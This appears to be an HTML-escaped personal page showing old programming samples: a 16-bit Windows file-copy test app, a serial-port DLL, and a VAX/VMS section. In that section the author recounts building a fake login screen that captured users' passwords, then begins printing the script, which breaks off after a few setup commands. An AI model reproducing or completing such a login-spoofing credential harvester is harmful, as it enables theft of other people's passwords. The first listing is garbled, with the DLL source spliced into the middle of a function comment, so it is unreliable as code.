things */  &lt;br /&gt;        return (FALSE);      /* Exits if unable to initialize     */  &lt;br /&gt;  &lt;br /&gt;    /* Perform initializations that apply to a specific instance */  &lt;br /&gt;  &lt;br /&gt;    if (!InitInstance(hInstance, nCmdShow))  &lt;br /&gt;        return (FALSE);  &lt;br /&gt;  &lt;br /&gt;    /* Acquire and dispatch messages until a WM_QUIT message is received. */  &lt;br /&gt;  &lt;br /&gt;    while (GetMessage(&amp;amp;msg,    /* message structure              */  &lt;br /&gt;        NULL,          /* handle of window receiving the message */  &lt;br /&gt;        NULL,          /* lowest message to examine          */  &lt;br /&gt;        NULL))         /* highest message to examine         */  &lt;br /&gt;    {                &lt;br /&gt;    if (!IsDialogMessage(MainWindow,&amp;amp;msg)) /* Allow keyboard intercept */  &lt;br /&gt;        {  &lt;br /&gt;        TranslateMessage(&amp;amp;msg);    /* Translates virtual key codes       */  &lt;br /&gt;        DispatchMessage(&amp;amp;msg);     /* Dispatches message to window       */  &lt;br /&gt;        }  &lt;br /&gt;    }  &lt;br /&gt;    return (msg.wParam);       /* Returns the value from PostQuitMessage */  &lt;br /&gt;}  &lt;br /&gt;  &lt;br /&gt;  &lt;br /&gt;/****************************************************************************  &lt;br /&gt;  &lt;br /&gt;    FUNCTION: InitApplication(HANDLE)  &lt;br /&gt;  &lt;br /&gt;    PURPOSE: Initializes window data and registers window class  &lt;br /&gt;  &lt;br /&gt;    COMMENTS:  &lt;br /&gt;  &lt;br /&gt;        This function is called at initialization time only if no other  &lt;br /&gt;        instances of the application are running.  This function performs  &lt;br /&gt;        initialization tasks that can be done once for any number of running  &lt;br /&gt;        instances.  &lt;br /&gt;  &lt;br /&gt;        In this case, we initialize a window class by filling out a data  &lt;br /&gt;        structure of type WNDCLASS and calling the Windows RegisterClass()  &lt;br /&gt;        function.  Since all instances of this application use the same window  &lt;br /&gt;        class, we only need to do this when the first instance is initialized.  &lt;br /&gt;  &lt;br /&gt;  &lt;br /&gt;****************************************************************************/  &lt;br /&gt;  &lt;br /&gt;BOOL InitApplication(hInstance)  &lt;br /&gt;HANDLE hInstance;                  /* current instance       */  &lt;br /&gt;{  &lt;br /&gt;    WNDCLASS  wc;  &lt;br /&gt;  &lt;br /&gt;    /* Fill in window class structure with parameters that describe the       */  &lt;br /&gt;    /* main window.                                                           */  &lt;br /&gt;  &lt;br /&gt;    wc.style = NULL;                    /* Class style(s).                    */  &lt;br /&gt;    wc.lpfnWndProc = MainWndProc;       /* Function to retrieve messages for  */  &lt;br /&gt;                                        /* windows of this class.             */  &lt;br /&gt;    wc.cbClsExtra = 0;                  /* No per-class extra data.           */  &lt;br /&gt;    wc.cbWndExtra = 0;                  /* No per-window extra data.          */  &lt;br /&gt;    wc.hInstance = hInstance;           /* Application that owns the class.   */  &lt;br /&gt;    wc.hIcon = LoadIcon(NULL, IDI_APPLICATION);  &lt;br /&gt;    wc.hCursor = LoadCursor(NULL, IDC_ARROW);  &lt;br /&gt;    wc.hbrBackground = GetStockObject(WHITE_BRUSH);  &lt;br /&gt;    wc.lpszMenuName =  NULL;     /* Name of menu resource in .RC file. */  &lt;br /&gt;    wc.lpszClassName = &amp;quot;GenericWClass&amp;quot;; /* Name used in call to CreateWindow. */  &lt;br /&gt;  &lt;br /&gt;    /* Register the window class and return success/failure code. */  &lt;br /&gt;  &lt;br /&gt;    return (RegisterClass(&amp;amp;wc));  &lt;br /&gt;  &lt;br /&gt;}  &lt;br /&gt;  &lt;br /&gt;  &lt;br /&gt;/****************************************************************************  &lt;br /&gt;  &lt;br /&gt;    FUNCTION:  InitInstance(HANDLE, int)  &lt;br /&gt;  &lt;br /&gt;    PURPOSE:  Saves instance handle and creates main window  &lt;br /&gt;  &lt;br /&gt;    COMMENTS:  &lt;br /&gt;  &lt;br /&gt;        This function is called at initialization time for every instance of  &lt;br /&gt;        this application.  This function performs initialization tasks that  &lt;br /&gt;        cannot be shared by multiple instances.  &lt;br /&gt;  &lt;br /&gt;        In this case, we save the instance handle in a static variable and  &lt;br /&gt;        create and display the main program window.  &lt;br /&gt;  &lt;br /&gt;****************************************************************************/  &lt;br /&gt;  &lt;br /&gt;BOOL InitInstance(hInstance, nCmdShow)  &lt;br /&gt;    HANDLE          hInstance;          /* Current instance identifier.       */  &lt;br /&gt;    int             nCmdShow;           /* Param for first ShowWindow() call. */  &lt;br /&gt;{  &lt;br /&gt;    HWND            hWnd;               /* Main window handle.                */  &lt;br /&gt;  &lt;br /&gt;    /* Save the instance handle in static variable, which will be used in  */  &lt;br /&gt;    /* many subsequence calls from this application to Windows.            */  &lt;br /&gt;  &lt;br /&gt;    hInst = hInstance;  &lt;br /&gt;  &lt;br /&gt;    /* Create a main window for this application instance.  */  &lt;br /&gt;  &lt;br /&gt;    hWnd = CreateWindow(  &lt;br /&gt;        &amp;quot;GenericWClass&amp;quot;,                /* See RegisterClass() call.          */  &lt;br /&gt;        &amp;quot;FileUtil.DLL test application&amp;quot;,/* Text for window title bar.         */  &lt;br /&gt;        WS_OVERLAPPEDWINDOW,            /* Window style.                      */  &lt;br /&gt;        20,                             /* Default horizontal position.       */  &lt;br /&gt;        100,                            /* Default vertical position.         */  &lt;br /&gt;        590,                            /* Default width.                     */  &lt;br /&gt;        300,                            /* Default height.                    */  &lt;br /&gt;        NULL,                           /* Overlapped windows have no parent. */  &lt;br /&gt;        NULL,                           /* Use the window class menu.         */  &lt;br /&gt;        hInstance,                      /* This instance owns this window.    */  &lt;br /&gt;        NULL                            /* Pointer not needed.                */  &lt;br /&gt;    );  &lt;br /&gt;  &lt;br /&gt;    /* If window could not be created, return &amp;quot;failure&amp;quot; */  &lt;br /&gt;  &lt;br /&gt;    if (!hWnd)  &lt;br /&gt;        return (FALSE);  &lt;br /&gt;      &lt;br /&gt;    MainWindow = hWnd;  /* Store window handle in global var. for later use */  &lt;br /&gt;    /* Make the window visible; update its client area; and return &amp;quot;success&amp;quot; */  &lt;br /&gt;  &lt;br /&gt;    ShowWindow(hWnd, nCmdShow);  /* Show the window                        */  &lt;br /&gt;    UpdateWindow(hWnd);          /* Sends WM_PAINT message                 */  &lt;br /&gt;    return (TRUE);               /* Returns the value from PostQuitMessage */  &lt;br /&gt;  &lt;br /&gt;}  &lt;br /&gt;  &lt;br /&gt;/****************************************************************************  &lt;br /&gt;  &lt;br /&gt;    FUNCTION: MainWndProc(HWND, UINT, WPARAM, LPARAM)  &lt;br /&gt;  &lt;br /&gt;    PURPOSE:  Processes messages  // pbcomm.cpp : Defines the initialization routines for the DLL.  &lt;br /&gt;//  &lt;br /&gt;  &lt;br /&gt;#include &amp;quot;stdafx.h&amp;quot;  &lt;br /&gt;#include &amp;quot;pbcomm.h&amp;quot;  &lt;br /&gt;  &lt;br /&gt;#ifdef _DEBUG  &lt;br /&gt;#define new DEBUG_NEW  &lt;br /&gt;#undef THIS_FILE  &lt;br /&gt;static char THIS_FILE[] = __FILE__;  &lt;br /&gt;#endif  &lt;br /&gt;  &lt;br /&gt;/////////////////////////////////////////////////////////////////////////////  &lt;br /&gt;// CPbcommApp  &lt;br /&gt;  &lt;br /&gt;BEGIN_MESSAGE_MAP(CPbcommApp, CWinApp)  &lt;br /&gt; //{{AFX_MSG_MAP(CPbcommApp)  &lt;br /&gt;  // NOTE - the ClassWizard will add and remove mapping macros here.  &lt;br /&gt;  //    DO NOT EDIT what you see in these blocks of generated code!  &lt;br /&gt; //}}AFX_MSG_MAP  &lt;br /&gt;END_MESSAGE_MAP()  &lt;br /&gt;  &lt;br /&gt;/////////////////////////////////////////////////////////////////////////////  &lt;br /&gt;// CPbcommApp construction  &lt;br /&gt;  &lt;br /&gt;CPbcommApp::CPbcommApp()  &lt;br /&gt;{  &lt;br /&gt; // TODO: add construction code here,  &lt;br /&gt; // Place all significant initialization in InitInstance  &lt;br /&gt;}  &lt;br /&gt;  &lt;br /&gt;/////////////////////////////////////////////////////////////////////////////  &lt;br /&gt;// The one and only CPbcommApp object  &lt;br /&gt;  &lt;br /&gt;CPbcommApp theApp;  &lt;br /&gt;  &lt;br /&gt;  &lt;br /&gt;extern &amp;quot;C&amp;quot; HANDLE FAR PASCAL EXPORT OpenCOM(int Port)  &lt;br /&gt;{  &lt;br /&gt;   DCB        dcb ;  &lt;br /&gt;   char       szPort[ 15 ];  &lt;br /&gt;   HANDLE     idComDev;  &lt;br /&gt;   COMMTIMEOUTS  CommTimeOuts ;  &lt;br /&gt;     &lt;br /&gt;   wsprintf( szPort, &amp;quot;%s%d&amp;quot;, &amp;quot;COM&amp;quot;, Port) ;  &lt;br /&gt;   &lt;br /&gt;   idComDev = CreateFile( szPort, GENERIC_READ | GENERIC_WRITE,  &lt;br /&gt;                  0,                    // exclusive access  &lt;br /&gt;                  NULL,                 // no security attrs  &lt;br /&gt;                  OPEN_EXISTING,  &lt;br /&gt;                  FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, // overlapped I/O  &lt;br /&gt;                  NULL );  &lt;br /&gt;  &lt;br /&gt; if (idComDev &amp;lt; 0) return (HANDLE)-1;  &lt;br /&gt;  &lt;br /&gt;      // get any early notifications  &lt;br /&gt;  &lt;br /&gt; if (!SetCommMask( idComDev, 0)) return (HANDLE)-2; //EV_RXCHAR ) ;  &lt;br /&gt;  &lt;br /&gt;      // setup device buffers  &lt;br /&gt;  &lt;br /&gt; if (!SetupComm( idComDev, 1024, 1024 )) return (HANDLE)-3;  &lt;br /&gt;  &lt;br /&gt;      // purge any information in the buffer  &lt;br /&gt;  &lt;br /&gt;    if (!PurgeComm( idComDev, PURGE_TXABORT | PURGE_RXABORT |  &lt;br /&gt;                              PURGE_TXCLEAR | PURGE_RXCLEAR )) return (HANDLE)-4 ;  &lt;br /&gt;  &lt;br /&gt;      // set up for overlapped I/O  &lt;br /&gt;     &lt;br /&gt;    CommTimeOuts.ReadIntervalTimeout = 0xFFFFFFFF ;  &lt;br /&gt;    CommTimeOuts.ReadTotalTimeoutMultiplier = 0 ;  &lt;br /&gt;    CommTimeOuts.ReadTotalTimeoutConstant = 1000 ;  &lt;br /&gt;    CommTimeOuts.WriteTotalTimeoutMultiplier = 0 ;  &lt;br /&gt;    CommTimeOuts.WriteTotalTimeoutConstant = 1000 ;  &lt;br /&gt;    if (!SetCommTimeouts( idComDev, &amp;amp;CommTimeOuts )) return (HANDLE)-5;  &lt;br /&gt;     &lt;br /&gt; dcb.DCBlength = sizeof( DCB ) ;  &lt;br /&gt;  &lt;br /&gt; GetCommState( idComDev, &amp;amp;dcb ) ;  &lt;br /&gt; if (!SetCommState( idComDev, &amp;amp;dcb )) return (HANDLE)-6 ;  &lt;br /&gt;  &lt;br /&gt;return idComDev;  &lt;br /&gt;  &lt;br /&gt;}  &lt;br /&gt;  &lt;br /&gt;extern &amp;quot;C&amp;quot; INT FAR PASCAL EXPORT WriteCOM(HANDLE idComDev, LPSTR lpszString)  &lt;br /&gt;{  &lt;br /&gt;  &lt;br /&gt;  &lt;br /&gt;   DWORD      dwBytesWritten;  &lt;br /&gt;   DWORD   dwBytesToWrite;  &lt;br /&gt;   &lt;br /&gt;  &lt;br /&gt;   // create I/O event used for overlapped reads / writes  &lt;br /&gt;  &lt;br /&gt; //  WRITE_OS( npTTYInfo ).hEvent = CreateEvent( NULL,    // no security  &lt;br /&gt; //                                              TRUE,    // explicit reset req  &lt;br /&gt; //                                              FALSE,   // initial event reset  &lt;br /&gt; //                                              NULL ) ; // no name  &lt;br /&gt;//   if (NULL == WRITE_OS( npTTYInfo ).hEvent)  &lt;br /&gt;//   {  &lt;br /&gt;//     return ( -1 ) ;  &lt;br /&gt;//   }  &lt;br /&gt;  &lt;br /&gt; dwBytesToWrite = strlen(lpszString);  &lt;br /&gt;  &lt;br /&gt; if (!WriteFile( idComDev, lpszString, dwBytesToWrite,  &lt;br /&gt;              &amp;amp;dwBytesWritten, NULL)) return -6;//&amp;amp;WRITE_OS( npTTYInfo ) ) ;  &lt;br /&gt;  &lt;br /&gt;  &lt;br /&gt;  // CloseHandle( WRITE_OS( npTTYInfo ).hEvent ) ;  &lt;br /&gt;     &lt;br /&gt;   return ( dwBytesWritten ) ;  &lt;br /&gt;  &lt;br /&gt;}  &lt;br /&gt;  &lt;br /&gt;extern &amp;quot;C&amp;quot; INT FAR PASCAL EXPORT CloseCOM(HANDLE idComDev)  &lt;br /&gt;{  &lt;br /&gt;  &lt;br /&gt;  &lt;br /&gt;   PurgeComm( idComDev, PURGE_TXABORT | PURGE_RXABORT |  &lt;br /&gt;                        PURGE_TXCLEAR | PURGE_RXCLEAR ) ;  &lt;br /&gt;  &lt;br /&gt;   CloseHandle( idComDev ) ;  &lt;br /&gt;   &lt;br /&gt;   return 0;  &lt;br /&gt;}  &lt;br /&gt;  &lt;br /&gt;    MESSAGES:  &lt;br /&gt;  &lt;br /&gt;    WM_COMMAND    - Traps all button messages.  &lt;br /&gt;    WM_DESTROY    - destroy window  &lt;br /&gt;  &lt;br /&gt;    COMMENTS:  &lt;br /&gt;  &lt;br /&gt;     &lt;br /&gt;****************************************************************************/  &lt;br /&gt;  &lt;br /&gt;long CALLBACK __export MainWndProc(hWnd, message, wParam, lParam)  &lt;br /&gt;HWND hWnd;                      /* window handle                 */  &lt;br /&gt;UINT message;                   /* type of message               */  &lt;br /&gt;WPARAM wParam;                  /* additional information        */  &lt;br /&gt;LPARAM lParam;                  /* additional information        */  &lt;br /&gt;{             &lt;br /&gt;HWND htemp;   &lt;br /&gt;PAINTSTRUCT paintstruct;  &lt;br /&gt;RECT rect;  &lt;br /&gt;char lst_from_file[256];  &lt;br /&gt;char lst_to_file[256];  &lt;br /&gt;char lst_mode[4];  &lt;br /&gt;int li_return;  &lt;br /&gt;int mode;                                     &lt;br /&gt;char error_msg[40];    &lt;br /&gt;HDC mydc;  &lt;br /&gt;  &lt;br /&gt;    switch (message)  &lt;br /&gt;    {  &lt;br /&gt;          case WM_CREATE:  &lt;br /&gt;             &lt;br /&gt;            htemp = CreateWindow (&amp;quot;static&amp;quot;,&amp;quot;From file:&amp;quot;,  &lt;br /&gt;                    WS_CHILD|WS_VISIBLE|ES_RIGHT,  &lt;br /&gt;                    20,40,80,20,hWnd,NULL,hInst,NULL);  &lt;br /&gt;             &lt;br /&gt;            hFromFile = CreateWindow(&amp;quot;Edit&amp;quot;,NULL,  &lt;br /&gt;                        WS_CHILD|WS_VISIBLE|WS_BORDER|WS_TABSTOP,  &lt;br /&gt;                        105,37,400,24,hWnd,NULL,hInst,NULL);  &lt;br /&gt;              &lt;br /&gt;            htemp = CreateWindow (&amp;quot;static&amp;quot;,&amp;quot;To file:&amp;quot;,  &lt;br /&gt;                    WS_CHILD|WS_VISIBLE|ES_RIGHT,  &lt;br /&gt;                    20,80,80,20,hWnd,NULL,hInst,NULL);  &lt;br /&gt;                      &lt;br /&gt;            hToFile = CreateWindow (&amp;quot;Edit&amp;quot;,NULL,  &lt;br /&gt;                      WS_CHILD|WS_VISIBLE|WS_BORDER|WS_TABSTOP,  &lt;br /&gt;                      105,77,400,24,hWnd,NULL,hInst,NULL);  &lt;br /&gt;                                          &lt;br /&gt;            htemp = CreateWindow (&amp;quot;static&amp;quot;,&amp;quot;Mode:&amp;quot;,  &lt;br /&gt;                    WS_CHILD|WS_VISIBLE|ES_RIGHT,  &lt;br /&gt;                    20,129,80,24,hWnd,NULL,hInst,NULL);  &lt;br /&gt;                      &lt;br /&gt;            hMode = CreateWindow (&amp;quot;Edit&amp;quot;,NULL,  &lt;br /&gt;                    WS_CHILD|WS_VISIBLE|WS_BORDER|WS_TABSTOP,  &lt;br /&gt;                    105,128,30,22,hWnd,NULL,hInst,NULL);                              &lt;br /&gt;                                             &lt;br /&gt;            hRename = CreateWindow (&amp;quot;Button&amp;quot;,&amp;quot;Rename&amp;quot;,  &lt;br /&gt;                    WS_CHILD|WS_VISIBLE|BS_PUSHBUTTON|WS_TABSTOP,  &lt;br /&gt;                    80,190,70,22,hWnd,ID_RENAME,hInst,NULL);  &lt;br /&gt;   &lt;br /&gt;            hCopy = CreateWindow (&amp;quot;Button&amp;quot;,&amp;quot;Copy&amp;quot;,  &lt;br /&gt;                    WS_CHILD|WS_VISIBLE|BS_PUSHBUTTON|WS_TABSTOP,  &lt;br /&gt;                    180,190,50,22,hWnd,ID_COPY,hInst,NULL);  &lt;br /&gt;                      &lt;br /&gt;            hExit = CreateWindow (&amp;quot;Button&amp;quot;,&amp;quot;Exit&amp;quot;,  &lt;br /&gt;                    WS_CHILD|WS_VISIBLE|BS_PUSHBUTTON|WS_TABSTOP,  &lt;br /&gt;                    260,190,50,22,hWnd,ID_EXIT,hInst,NULL);  &lt;br /&gt;                        &lt;br /&gt;            return TRUE;  &lt;br /&gt;            break;  &lt;br /&gt;              &lt;br /&gt;                            &lt;br /&gt;        case WM_PAINT:  &lt;br /&gt;              &lt;br /&gt;              &lt;br /&gt;            mydc = BeginPaint(MainWindow,&amp;amp;paintstruct);           &lt;br /&gt;                          &lt;br /&gt;            GetClientRect(MainWindow,&amp;amp;rect);  &lt;br /&gt;                &lt;br /&gt;            rect.top = 18;  &lt;br /&gt;            rect.left = 140;  &lt;br /&gt;            DrawText(mydc,&amp;quot;(Enter full pathnames)&amp;quot;,  &lt;br /&gt;            -1,&amp;amp;rect,DT_SINGLELINE|DT_LEFT);  &lt;br /&gt;                &lt;br /&gt;                &lt;br /&gt;            rect.top = 124;  &lt;br /&gt;            rect.left = 150;  &lt;br /&gt;            DrawText(mydc,&amp;quot;Copy Modes:  1 = Copy,  2 = Copy/Replace,  3 = Append&amp;quot;,  &lt;br /&gt;            -1,&amp;amp;rect,DT_SINGLELINE|DT_LEFT);  &lt;br /&gt;              &lt;br /&gt;            rect.top = 140;  &lt;br /&gt;            DrawText(mydc,&amp;quot;Rename Modes:  1 = Rename,  2 = Rename/Replace&amp;quot;,  &lt;br /&gt;            -1,&amp;amp;rect,DT_SINGLELINE|DT_LEFT);  &lt;br /&gt;              &lt;br /&gt;                          &lt;br /&gt;            EndPaint(hWnd,&amp;amp;paintstruct);  &lt;br /&gt;              &lt;br /&gt;            return TRUE;  &lt;br /&gt;            break;  &lt;br /&gt;              &lt;br /&gt;                                             &lt;br /&gt;        case WM_COMMAND:       /* message: command from application menu */  &lt;br /&gt;             switch (wParam)  &lt;br /&gt;             {  &lt;br /&gt;                case ID_RENAME:  &lt;br /&gt;  &lt;br /&gt;                    GetWindowText(hFromFile,lst_from_file,  &lt;br /&gt;                                  sizeof(lst_from_file));                 &lt;br /&gt;                    GetWindowText(hToFile,lst_to_file,sizeof(lst_to_file));  &lt;br /&gt;                    GetWindowText(hMode,lst_mode,sizeof(lst_mode));  &lt;br /&gt;                    mode = atoi(lst_mode);  &lt;br /&gt;                    li_return = RenameFile(lst_from_file,lst_to_file,mode);  &lt;br /&gt;                  &lt;br /&gt;                    if (li_return==0)  &lt;br /&gt;                    {  &lt;br /&gt;                        MessageBox(0,&amp;quot;Successful Rename&amp;quot;,&amp;quot;Result&amp;quot;,MB_OK);  &lt;br /&gt;                    }  &lt;br /&gt;                    else  &lt;br /&gt;                    {     &lt;br /&gt;                        sprintf(error_msg,&amp;quot;Rename error = %d&amp;quot;,li_return);  &lt;br /&gt;                        MessageBox(0,error_msg,&amp;quot;Error&amp;quot;,MB_OK);  &lt;br /&gt;                    }  &lt;br /&gt;                          &lt;br /&gt;                    break;     &lt;br /&gt;                      &lt;br /&gt;                case ID_COPY:  &lt;br /&gt;                    GetWindowText(hFromFile,lst_from_file,  &lt;br /&gt;                                  sizeof(lst_from_file));                 &lt;br /&gt;                    GetWindowText(hToFile,lst_to_file,sizeof(lst_to_file));  &lt;br /&gt;                    GetWindowText(hMode,lst_mode,sizeof(lst_mode));  &lt;br /&gt;                    mode = atoi(lst_mode);  &lt;br /&gt;                      &lt;br /&gt;                    li_return = CopyFile(lst_from_file,lst_to_file,mode);  &lt;br /&gt;                  &lt;br /&gt;                    if (li_return==0)  &lt;br /&gt;                    {  &lt;br /&gt;                        MessageBox(0,&amp;quot;Successful Copy&amp;quot;,&amp;quot;Result&amp;quot;,MB_OK);  &lt;br /&gt;                    }  &lt;br /&gt;                    else  &lt;br /&gt;                    {     &lt;br /&gt;                        sprintf(error_msg,&amp;quot;Copy error = %d&amp;quot;,li_return);  &lt;br /&gt;                        MessageBox(0,error_msg,&amp;quot;Error&amp;quot;,MB_OK);  &lt;br /&gt;                    }  &lt;br /&gt;                          &lt;br /&gt;                    break;     &lt;br /&gt;                      &lt;br /&gt;                case ID_EXIT:  &lt;br /&gt;                    DestroyWindow(MainWindow);  &lt;br /&gt;                    break;  &lt;br /&gt;              &lt;br /&gt;                default:          &lt;br /&gt;                    return (DefWindowProc(hWnd, message, wParam, lParam));  &lt;br /&gt;            &lt;br /&gt;            }  &lt;br /&gt;            return TRUE;  &lt;br /&gt;            break;  &lt;br /&gt;        case WM_DESTROY:          /* message: window being destroyed */  &lt;br /&gt;            PostQuitMessage(0);  &lt;br /&gt;            break;  &lt;br /&gt;            return TRUE;  &lt;br /&gt;              &lt;br /&gt;        default:                  /* Passes it on if unproccessed    */  &lt;br /&gt;            return (DefWindowProc(hWnd, message, wParam, lParam));  &lt;br /&gt;    }  &lt;br /&gt;    return (NULL);  &lt;br /&gt;}  &lt;br /&gt;&lt;br /&gt;&lt;/pre&gt; &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Visual_C%2B%2B"&gt;Microsoft Visual C++  1.5&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;Microsoft Visual C++ 1.5 was the last of the 16-bit compilers. Even years  later when I had moved all the way up to Microsoft Visual C++ 6.0, I still kept  my version 1.5 CD in a safe place, because you never know when you'll have to  recompile (and &lt;a href="http://en.wikipedia.org/wiki/Thunk"&gt;thunk&lt;/a&gt;) some old  16-bit app.&lt;br /&gt;&lt;br /&gt;Here is an old-school 16-bit DLL library: &lt;pre&gt;&lt;br /&gt;// pbcomm.cpp : Defines the initialization routines for the DLL.  &lt;br /&gt;//  &lt;br /&gt;  &lt;br /&gt;#include &amp;quot;stdafx.h&amp;quot;  &lt;br /&gt;#include &amp;quot;pbcomm.h&amp;quot;  &lt;br /&gt;  &lt;br /&gt;#ifdef _DEBUG  &lt;br /&gt;#define new DEBUG_NEW  &lt;br /&gt;#undef THIS_FILE  &lt;br /&gt;static char THIS_FILE[] = __FILE__;  &lt;br /&gt;#endif  &lt;br /&gt;  &lt;br /&gt;/////////////////////////////////////////////////////////////////////////////  &lt;br /&gt;// CPbcommApp  &lt;br /&gt;  &lt;br /&gt;BEGIN_MESSAGE_MAP(CPbcommApp, CWinApp)  &lt;br /&gt; //{{AFX_MSG_MAP(CPbcommApp)  &lt;br /&gt;  // NOTE - the ClassWizard will add and remove mapping macros here.  &lt;br /&gt;  //    DO NOT EDIT what you see in these blocks of generated code!  &lt;br /&gt; //}}AFX_MSG_MAP  &lt;br /&gt;END_MESSAGE_MAP()  &lt;br /&gt;  &lt;br /&gt;/////////////////////////////////////////////////////////////////////////////  &lt;br /&gt;// CPbcommApp construction  &lt;br /&gt;  &lt;br /&gt;CPbcommApp::CPbcommApp()  &lt;br /&gt;{  &lt;br /&gt; // TODO: add construction code here,  &lt;br /&gt; // Place all significant initialization in InitInstance  &lt;br /&gt;}  &lt;br /&gt;  &lt;br /&gt;/////////////////////////////////////////////////////////////////////////////  &lt;br /&gt;// The one and only CPbcommApp object  &lt;br /&gt;  &lt;br /&gt;CPbcommApp theApp;  &lt;br /&gt;  &lt;br /&gt;  &lt;br /&gt;extern &amp;quot;C&amp;quot; HANDLE FAR PASCAL EXPORT OpenCOM(int Port)  &lt;br /&gt;{  &lt;br /&gt;   DCB        dcb ;  &lt;br /&gt;   char       szPort[ 15 ];  &lt;br /&gt;   HANDLE     idComDev;  &lt;br /&gt;   COMMTIMEOUTS  CommTimeOuts ;  &lt;br /&gt;     &lt;br /&gt;   wsprintf( szPort, &amp;quot;%s%d&amp;quot;, &amp;quot;COM&amp;quot;, Port) ;  &lt;br /&gt;   &lt;br /&gt;   idComDev = CreateFile( szPort, GENERIC_READ | GENERIC_WRITE,  &lt;br /&gt;                  0,                    // exclusive access  &lt;br /&gt;                  NULL,                 // no security attrs  &lt;br /&gt;                  OPEN_EXISTING,  &lt;br /&gt;                  FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, // overlapped I/O  &lt;br /&gt;                  NULL );  &lt;br /&gt;  &lt;br /&gt; if (idComDev &amp;lt; 0) return (HANDLE)-1;  &lt;br /&gt;  &lt;br /&gt;      // get any early notifications  &lt;br /&gt;  &lt;br /&gt; if (!SetCommMask( idComDev, 0)) return (HANDLE)-2; //EV_RXCHAR ) ;  &lt;br /&gt;  &lt;br /&gt;      // setup device buffers  &lt;br /&gt;  &lt;br /&gt; if (!SetupComm( idComDev, 1024, 1024 )) return (HANDLE)-3;  &lt;br /&gt;  &lt;br /&gt;      // purge any information in the buffer  &lt;br /&gt;  &lt;br /&gt;    if (!PurgeComm( idComDev, PURGE_TXABORT | PURGE_RXABORT |  &lt;br /&gt;                              PURGE_TXCLEAR | PURGE_RXCLEAR )) return (HANDLE)-4 ;  &lt;br /&gt;  &lt;br /&gt;      // set up for overlapped I/O  &lt;br /&gt;     &lt;br /&gt;    CommTimeOuts.ReadIntervalTimeout = 0xFFFFFFFF ;  &lt;br /&gt;    CommTimeOuts.ReadTotalTimeoutMultiplier = 0 ;  &lt;br /&gt;    CommTimeOuts.ReadTotalTimeoutConstant = 1000 ;  &lt;br /&gt;    CommTimeOuts.WriteTotalTimeoutMultiplier = 0 ;  &lt;br /&gt;    CommTimeOuts.WriteTotalTimeoutConstant = 1000 ;  &lt;br /&gt;    if (!SetCommTimeouts( idComDev, &amp;amp;CommTimeOuts )) return (HANDLE)-5;  &lt;br /&gt;     &lt;br /&gt; dcb.DCBlength = sizeof( DCB ) ;  &lt;br /&gt;  &lt;br /&gt; GetCommState( idComDev, &amp;amp;dcb ) ;  &lt;br /&gt; if (!SetCommState( idComDev, &amp;amp;dcb )) return (HANDLE)-6 ;  &lt;br /&gt;  &lt;br /&gt;return idComDev;  &lt;br /&gt;  &lt;br /&gt;}  &lt;br /&gt;  &lt;br /&gt;extern &amp;quot;C&amp;quot; INT FAR PASCAL EXPORT WriteCOM(HANDLE idComDev, LPSTR lpszString)  &lt;br /&gt;{  &lt;br /&gt;  &lt;br /&gt;  &lt;br /&gt;   DWORD      dwBytesWritten;  &lt;br /&gt;   DWORD   dwBytesToWrite;  &lt;br /&gt;   &lt;br /&gt;  &lt;br /&gt;   // create I/O event used for overlapped reads / writes  &lt;br /&gt;  &lt;br /&gt; //  WRITE_OS( npTTYInfo ).hEvent = CreateEvent( NULL,    // no security  &lt;br /&gt; //                                              TRUE,    // explicit reset req  &lt;br /&gt; //                                              FALSE,   // initial event reset  &lt;br /&gt; //                                              NULL ) ; // no name  &lt;br /&gt;//   if (NULL == WRITE_OS( npTTYInfo ).hEvent)  &lt;br /&gt;//   {  &lt;br /&gt;//     return ( -1 ) ;  &lt;br /&gt;//   }  &lt;br /&gt;  &lt;br /&gt; dwBytesToWrite = strlen(lpszString);  &lt;br /&gt;  &lt;br /&gt; if (!WriteFile( idComDev, lpszString, dwBytesToWrite,  &lt;br /&gt;              &amp;amp;dwBytesWritten, NULL)) return -6;//&amp;amp;WRITE_OS( npTTYInfo ) ) ;  &lt;br /&gt;  &lt;br /&gt;  &lt;br /&gt;  // CloseHandle( WRITE_OS( npTTYInfo ).hEvent ) ;  &lt;br /&gt;     &lt;br /&gt;   return ( dwBytesWritten ) ;  &lt;br /&gt;  &lt;br /&gt;}  &lt;br /&gt;  &lt;br /&gt;extern &amp;quot;C&amp;quot; INT FAR PASCAL EXPORT CloseCOM(HANDLE idComDev)  &lt;br /&gt;{  &lt;br /&gt;  &lt;br /&gt;  &lt;br /&gt;   PurgeComm( idComDev, PURGE_TXABORT | PURGE_RXABORT |  &lt;br /&gt;                        PURGE_TXCLEAR | PURGE_RXCLEAR ) ;  &lt;br /&gt;  &lt;br /&gt;   CloseHandle( idComDev ) ;  &lt;br /&gt;   &lt;br /&gt;   return 0;  &lt;br /&gt;}  &lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/dd&gt;&lt;br /&gt; &lt;dt&gt;&lt;strong&gt;Vax/vms script&lt;/strong&gt;&lt;/dt&gt;&lt;dd&gt;When I was in college, I invented a phishing attack. They weren't called  that at the time, and I had never heard of any such thing before. I thought I  was just being clever.&lt;br /&gt;&lt;br /&gt;We had rooms full of mainframe terminals, and I  wrote this program that would simulate the login screen for the mainframe. It  would ask you for your name and password, and then write that name and password  to a text file, and then execute system commands to actually log you in as a  shell process. So, you would be none the wiser. When you logged out, control was  returned to my program. My program was immune to any control sequences that  would normally halt a running script.&lt;br /&gt;&lt;br /&gt;I showed this to one of the  professors to show how there was a potential hole in our security. He became  upset...AT ME! I had to promise to delete all copies of it...and I did...but  then a few years later I was going through my archives and found this early  version of the program. :)&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ ! This is a COM File that imitates the VMS connect procedure.  &lt;br /&gt;$ ! This is a secret file that should not be shown to everyone.  &lt;br /&gt;$ ! This file will take peoples' usernames and passwords and copy them  &lt;br /&gt;$ ! to a DAT file.  &lt;br /&gt;$ set nocontrol=y  &lt;br /&gt;$ cls  &lt;br /&gt;$ SET TERM/NOTYPE_AHEAD  &lt;br /&gt;$ set broadcast=(nogeneral)  &lt;br /&gt;$ write sys$output &amp;quot;Local&amp;gt;&amp;quot;  &lt;br /&gt;$ loc:  &lt;br /&gt;$    write sys$output &amp;quot;Local&amp;gt;&amp;quot;  &lt;br /&gt;$    write sys$output 